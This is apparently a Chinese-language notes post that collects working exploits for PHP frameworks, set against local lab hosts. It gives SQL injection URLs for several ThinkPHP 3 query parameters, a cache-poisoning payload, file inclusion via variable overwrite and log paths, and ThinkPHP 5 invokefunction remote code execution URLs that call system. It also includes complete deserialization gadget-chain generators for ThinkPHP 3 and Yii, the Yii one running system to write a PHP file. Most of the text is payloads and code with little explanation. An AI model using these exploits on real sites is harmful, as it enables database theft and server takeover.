框架漏洞
前言: 因为要调试每一个漏洞需要花费大量的步骤,所以我这里只列出了触发点和触发语句,某些漏洞给出了poc链
一、TP3框架漏洞
1. Parse字段注入
在tp3框架的Application\Home\Controller\IndexController.class.php里面添加test方法
public function test(){
$id = i('id');
$res = M('users');
$res = $res->select($id);
var_dump($res);
}
触发语句:
table触发点
http://www.tp3.com/index.php?m=Home&c=Index&a=test&id[table]=users%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- 1
alias触发点
http://www.tp3.com/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)-- 1
field触发点
http://www.tp3.com/index.php/home/index/test?m=Home&c=Index&a=test&id[field]=*%20from%20users%20where%201=1%20and%20extractvalue(1,concat(0x7e,%20user()))%20--%201
join触发点
http://www.tp3.com/index.php/home/index/test?m=Home&c=Index&a=test&id[join][]=where%201=1%20and%20extractvalue(1,concat(0x7e,%20user()))%20--%201
where触发点
http://www.tp3.com/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- 1
group触发点
http://www.tp3.com/index.php?m=Home&c=Index&a=test&id[group]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)-- 1
2. Exp注入
触发点: test2方法
public function test2()
{
$User = D('Users');
$map = array('username' => $_GET['username']);
// $map = array('username' => I('username'));
$user = $User->where($map);
$user = $user->find();
var_dump($user);
}
触发语句:
http://www.tp3.com/index.php?m=Home&c=Index&a=test2&username[]=exp&username[]==%201%20and%20extractvalue(1,concat(0x7e,user()))%20--%201
http://www.tp3.com/index.php?m=Home&c=Index&a=test2&username[0]=in&username[1]=(extractvalue(1,concat(0x7e,%20user())))&username[2]=exp
http://www.tp3.com/index.php?m=Home&c=Index&a=test2&username[0][0]=exp&username[0][1]==%201)%20and%20extractvalue(1,concat(0x7e,%20user()))%20--%201
3. TP3缓存漏洞
触发点: test6方法
S 缓存函数
public function test6(){
echo md5('name');
$a=I('get.bihuo');
S('name',$a);
}
触发语句:
http://www.tp3.com/index.php?m=Home&c=Index&a=test6&bihuo=%0a phpinfo();/*
4. TP3变量覆盖+文件包含
触发点: test7方法
需要创建Application\Home\View\Index\test7.html
public function test7(){
$value = I('value');
//需要控制assign对应的参数
$this->assign($value);
$this->display();
}
触发语句:
http://www.tp3.com/index.php?m=Home&c=Index&a=test7&value[_filename]=./Application/Runtime/Logs/Home/22_12_19.log
5. TP3反序列化漏洞
触发点: test8方法
public function test8(){
$input = I('input');
$a = unserialize(base64_decode($input));
unset($a);
}
触发语句:
需要自己构建poc链,而且只会运行到触发的位置,后续报错不运行,因此想看那种phpinfo的直接结果的,无法直接看,但是可以利用创建另一个文件,查看是否有新文件生成,就知道是否触发漏洞
poc链
unset($a)
||
1. Imagick.class.php中Imagick类的 __destruct 析构方法
||
2. Memcache.class.php中Memcache类的destroy方法
||
3. Model.class.php中Model类的delete方法
||
4. Mysql.class.php中没有delete方法,但是这个类继承 Driver类,因此可以通过实例化Mysql类,来调用Driver类里面的delete方法
||
5. Driver.class.php中Driver类的delete方法
代码:
<?php
namespace Think\Db {
abstract class Driver
{
protected $config = array(
'type' => 'mysql', // 数据库类型
'hostname' => '127.0.0.1', // 服务器地址
'database' => 'security', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306', // 端口
'dsn' => '', //
'params' => array(), // 数据库连接参数
'charset' => 'utf8', // 数据库编码默认采用utf8
'prefix' => '', // 数据库表前缀
'debug' => false, // 数据库调试模式
'deploy' => 0, // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器)
'rw_separate' => false, // 数据库读写是否分离 主从式有效
'master_num' => 1, // 读写分离后 主服务器数量
'slave_no' => '', // 指定从服务器序号
'db_like_fields' => '',
);
}
}
namespace Think\Db\Driver{
use Think\Db\Driver;
class Mysql extends Driver{}
}
namespace Think {
class Db
{
}
class Model
{
protected $db = null;
protected $data = array(
'id'=>array('name'=>'bihuo','table'=>'users where 1=1 and extractvalue(1,concat(0x7e, user())) -- 1', 'where'=>'1=1'));
public function __construct($db){
$this->db = $db;
}
}
}
namespace Think\Session\Driver {
class Memcache
{
protected $handle = null;
public function __construct($handle)
{
$this->handle = $handle;
}
public function destroy($sessID)
{
return $this->handle->delete($this->sessionName . $sessID);
}
}
}
namespace Think\Image\Driver {
class Imagick
{
private $img;
public function __construct($img)
{
$this->img = $img;
}
public function __destruct()
{
empty($this->img) || $this->img->destroy();
}
}
}
namespace {
use Think\Model;
use Think\Session\Driver\Memcache;
use Think\Image\Driver\Imagick;
use Think\Db\Driver\Mysql;
$mysql_obj = new Mysql();
$model_obj = new Model( $mysql_obj);
$memcache_obj = new Memcache($model_obj);
$Imagick_obj = new Imagick($memcache_obj);
echo base64_encode(serialize($Imagick_obj));
}
二、TP5框架漏洞
1. TP5 rce漏洞
触发语句:
http://www.tp5.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://www.tp5.com/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
2. TP5文件包含漏洞
触发语句:
http://www.tp5.com/?s=index/think\Lang/load&file=../runtime/log/202211/18.log
三、yii框架漏洞
1. yii反序列化漏洞
触发点:在yii\basic\controllers\SiteController.php中添加actionTest方法
public function actionTest($data){
unserialize(urldecode($data));
}
poc链:
BatchQueryResult 下的__destruct方法
||
BatchQUeryResult下的reset方法
||
Generator类下的__call方法
||
generator类下的format方法
||
CreateAction类下的run方法
代码:
<?php
namespace yii\db {
class BatchQueryResult
{
private $_dataReader;
public function __construct($_dataReader)
{
$this->_dataReader = $_dataReader;
}
public function __destruct()
{
$this->reset();
}
public function reset()
{
if ($this->_dataReader !== null) {
$this->_dataReader->close();
}
$this->_dataReader = null;
$this->_batch = null;
$this->_value = null;
$this->_key = null;
}
}
}
namespace Faker{
class Generator
{
protected $formatters = array();
public function __construct($formatters){
$this->formatters = $formatters;
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
}
}
namespace yii\base{
class Action{
public $id;
public function __construct($id){
$this->id = $id;
}
}
}
namespace yii\rest{
use yii\helpers\Url;
use yii\web\ServerErrorHttpException;
class Action extends \yii\base\Action{
// public $modelClass = '\yii\base\Model';
public $checkAccess;
public function __construct($id, $checkAccess)
{
$this->checkAccess = $checkAccess;
parent::__construct($id);
}
}
class CreateAction extends Action
{
public function run()
{
if ($this->checkAccess) {
call_user_func($this->checkAccess, $this->id);
}
/* @var $model \yii\db\ActiveRecord */
$model = new $this->modelClass([
'scenario' => $this->scenario,
]);
$model->load(Yii::$app->getRequest()->getBodyParams(), '');
if ($model->save()) {
$response = Yii::$app->getResponse();
$response->setStatusCode(201);
$id = implode(',', array_values($model->getPrimaryKey(true)));
$response->getHeaders()->set('Location', Url::toRoute([$this->viewAction, 'id' => $id], true));
} elseif (!$model->hasErrors()) {
throw new ServerErrorHttpException('Failed to create the object for unknown reason.');
}
return $model;
}
}
}
namespace {
use yii\rest\CreateAction;
use Faker\Generator;
use yii\db\BatchQueryResult;
$createAction_obj = new CreateAction('echo ^<?php phpinfo();?^> > C:/2022_11_21.php', 'system');
$generator_obj = new Generator(array('close'=>array($createAction_obj, 'run')));
$batchqueryres_obj = new BatchQueryResult($generator_obj);
echo urlencode(serialize($batchqueryres_obj));
}